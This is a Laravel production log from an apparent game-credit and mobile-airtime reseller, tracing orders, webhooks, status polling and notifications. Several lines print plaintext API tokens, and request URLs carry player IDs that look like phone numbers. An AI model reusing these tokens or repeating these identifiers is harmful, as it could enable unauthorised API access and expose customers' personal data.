[2026-03-24 18:43:49] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-eesNx-1774367017","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:43:49] production.INFO: Processed webhook data (normalized) {"id":"ORD-eesNx-1774367017","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:43:49] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:43:49] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":179131} 
[2026-03-24 18:43:49] production.INFO: Order updated successfully. Order ID: 179131, Status: completed  
[2026-03-24 18:43:49] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-eesNx-1774367017","status":"completed","codes_count":0} 
[2026-03-24 18:43:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 18:43:55] production.INFO: Constructing job for order: 179132  
[2026-03-24 18:43:58] production.INFO: Handling job for order: 179132  
[2026-03-24 18:43:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:43:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:43:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=745320ca-b1e3-485c-8f53-975c4be103a8&Player_ID=471156  
[2026-03-24 18:43:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=745320ca-b1e3-485c-8f53-975c4be103a8&Player_ID=471156","has_body":false} 
[2026-03-24 18:43:59] production.INFO: Operation sent successfully {"operation_id":164034,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PasL-1774367038","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 18:43:59"}},"processed_data":{"order_number":"ORD-PasL-1774367038","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 18:44:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02"} 
[2026-03-24 18:44:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","total_operations":2,"sites_count":1} 
[2026-03-24 18:44:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-PasL-1774367038"]} 
[2026-03-24 18:44:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 18:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 18:44:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:44:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 18:44:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 18:44:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"user_id":107,"notification_type":"order_approved","reference_id":179132} 
[2026-03-24 18:44:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:44:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:44:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 18:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 18:44:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"c6iCeYYZ8KSDHdWs1NSfD61axpckNYvw","execution_time":"2026-03-24 18:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:44:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 18:44:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-PasL-1774367038","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:44:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-PasL-1774367038","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:44:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:44:04] production.ERROR: Order not found or already processed. External ID: ORD-PasL-1774367038  
[2026-03-24 18:44:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-PasL-1774367038","status":"completed","codes_count":0} 
[2026-03-24 18:44:25] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"15.0","mainamount":"15","operation_number":"158579476","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpfv10uc9rrhemctHB9Ba"}},"user_id":1688} 
[2026-03-24 18:44:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:44:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:44:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:44:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:44:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:44:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:44:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:44:26] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:44:26] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18675,"user_id":1688,"amount":15.0,"admins_notified":7} 
[2026-03-24 18:44:28] production.INFO: Constructing job for order: 179133  
[2026-03-24 18:44:29] production.INFO: Handling job for order: 179133  
[2026-03-24 18:44:29] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:44:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:44:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=2338cb37-d099-4a19-9ec1-ab0c88c90f23&Player_ID=0934540776  
[2026-03-24 18:44:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=2338cb37-d099-4a19-9ec1-ab0c88c90f23&Player_ID=0934540776","has_body":false} 
[2026-03-24 18:44:30] production.INFO: Operation sent successfully {"operation_id":164035,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TO9-1774367070","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:44:30"}},"processed_data":{"order_number":"ORD-TO9-1774367070","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:44:39] production.INFO: Constructing job for order: 179134  
[2026-03-24 18:44:42] production.INFO: Handling job for order: 179134  
[2026-03-24 18:44:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:44:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:44:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=8398258f-ab88-413b-8e52-15891d19cc2e&Player_ID=5264973158  
[2026-03-24 18:44:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=8398258f-ab88-413b-8e52-15891d19cc2e&Player_ID=5264973158","has_body":false} 
[2026-03-24 18:44:43] production.INFO: Operation sent successfully {"operation_id":164036,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-B0Y-1774367082","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:44:43"}},"processed_data":{"order_number":"ORD-B0Y-1774367082","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 18:44:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-B0Y-1774367082","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:44:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-B0Y-1774367082","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:44:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:44:55] production.INFO: SendAcceptReject: Notification queued {"user_id":219,"notification_type":"order_approved","reference_id":179134} 
[2026-03-24 18:44:55] production.INFO: Order updated successfully. Order ID: 179134, Status: completed  
[2026-03-24 18:44:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-B0Y-1774367082","status":"completed","codes_count":0} 
[2026-03-24 18:44:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 219  
[2026-03-24 18:45:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1133,"notification_type":"request_approved","reference_id":18672} 
[2026-03-24 18:45:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:45:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:45:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:45:05] production.INFO: async() رجع: true  
[2026-03-24 18:45:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:45:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:45:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:45:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:45:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:45:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:45:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:45:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:45:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:45:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:45:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:45:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1133  
[2026-03-24 18:45:12] production.INFO: SendAcceptReject: Notification queued {"user_id":1466,"notification_type":"request_approved","reference_id":18673} 
[2026-03-24 18:45:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1466  
[2026-03-24 18:45:16] production.INFO: Constructing job for order: 179135  
[2026-03-24 18:45:19] production.INFO: Handling job for order: 179135  
[2026-03-24 18:45:19] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:45:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:45:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=6f5ebd91-4bcd-4485-8fbe-1ad9d1c96494&Player_ID=0988982045  
[2026-03-24 18:45:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=6f5ebd91-4bcd-4485-8fbe-1ad9d1c96494&Player_ID=0988982045","has_body":false} 
[2026-03-24 18:45:20] production.INFO: Operation sent successfully {"operation_id":164037,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-nsxze-1774367119","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:45:20"}},"processed_data":{"order_number":"ORD-nsxze-1774367119","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:45:29] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"request_rejected","reference_id":18674} 
[2026-03-24 18:45:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 18:46:05] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05"} 
[2026-03-24 18:46:05] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","total_operations":3,"sites_count":2} 
[2026-03-24 18:46:05] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 18:46:05] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:46:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:46:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:46:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:46:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:46:05] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2,"order_ids":["ORD-TO9-1774367070","ORD-nsxze-1774367119"]} 
[2026-03-24 18:46:05] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:46:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2} 
[2026-03-24 18:46:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 18:46:05] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 18:46:05] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"count":2} 
[2026-03-24 18:46:05] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"count":2} 
[2026-03-24 18:46:05] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"user_id":1551,"notification_type":"order_approved","reference_id":179135} 
[2026-03-24 18:46:05] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"user_id":903,"notification_type":"order_approved","reference_id":179133} 
[2026-03-24 18:46:05] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:46:05] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:46:05] production.INFO: Batch update completed {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"processed":2,"errors":0} 
[2026-03-24 18:46:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035,"processed":2,"errors":0} 
[2026-03-24 18:46:05] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KYv1u657K8dgHndUsqYKy5hhc0czOnN4","execution_time":"2026-03-24 18:46:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TO9-1774367070","operation_id":164035} 
[2026-03-24 18:46:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1551  
[2026-03-24 18:46:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 18:46:07] production.INFO: SendAcceptReject: Notification queued {"user_id":1688,"notification_type":"request_approved","reference_id":18675} 
[2026-03-24 18:46:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1688  
[2026-03-24 18:46:46] production.INFO: Constructing job for order: 179136  
[2026-03-24 18:46:47] production.INFO: Handling job for order: 179136  
[2026-03-24 18:46:47] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:46:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:46:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=b5474cf9-053a-49ee-b749-d24eb5174222&Player_ID=0988982045  
[2026-03-24 18:46:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=b5474cf9-053a-49ee-b749-d24eb5174222&Player_ID=0988982045","has_body":false} 
[2026-03-24 18:46:48] production.INFO: Operation sent successfully {"operation_id":164038,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jTLh-1774367208","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:46:48"}},"processed_data":{"order_number":"ORD-jTLh-1774367208","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:47:05] production.INFO: Constructing job for order: 179137  
[2026-03-24 18:47:06] production.INFO: Handling job for order: 179137  
[2026-03-24 18:47:06] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:47:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:47:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=fec96207-1885-4749-a406-646bda9cc458&Player_ID=0949096227  
[2026-03-24 18:47:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=fec96207-1885-4749-a406-646bda9cc458&Player_ID=0949096227","has_body":false} 
[2026-03-24 18:47:07] production.INFO: Operation sent successfully {"operation_id":164039,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-a7JU1k-1774367226","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 18:47:07"}},"processed_data":{"order_number":"ORD-a7JU1k-1774367226","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 18:47:39] production.INFO: SendAcceptReject: Notification queued {"user_id":587,"notification_type":"order_rejected","reference_id":178865} 
[2026-03-24 18:47:41] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 18:47:43] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 18:47:52] production.INFO: Constructing job for order: 179138  
[2026-03-24 18:47:55] production.INFO: Handling job for order: 179138  
[2026-03-24 18:47:55] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:47:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:47:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=200&uuid=74642af1-3d2b-45f3-857e-215a4aefce8b&Player_ID=971315909  
[2026-03-24 18:47:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=200&uuid=74642af1-3d2b-45f3-857e-215a4aefce8b&Player_ID=971315909","has_body":false} 
[2026-03-24 18:47:56] production.INFO: Operation sent successfully {"operation_id":164040,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wRR-1774367276","amount":3.49565215999999967522171573364175856113433837890625,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 18:47:56"}},"processed_data":{"order_number":"ORD-wRR-1774367276","amount":3.49565215999999967522171573364175856113433837890625,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 18:48:01] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wRR-1774367276","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:48:01] production.INFO: Processed webhook data (normalized) {"id":"ORD-wRR-1774367276","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:48:01] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:48:01] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":179138} 
[2026-03-24 18:48:01] production.INFO: Order updated successfully. Order ID: 179138, Status: completed  
[2026-03-24 18:48:01] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wRR-1774367276","status":"completed","codes_count":0} 
[2026-03-24 18:48:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02"} 
[2026-03-24 18:48:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","total_operations":3,"sites_count":2} 
[2026-03-24 18:48:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 18:48:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:48:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
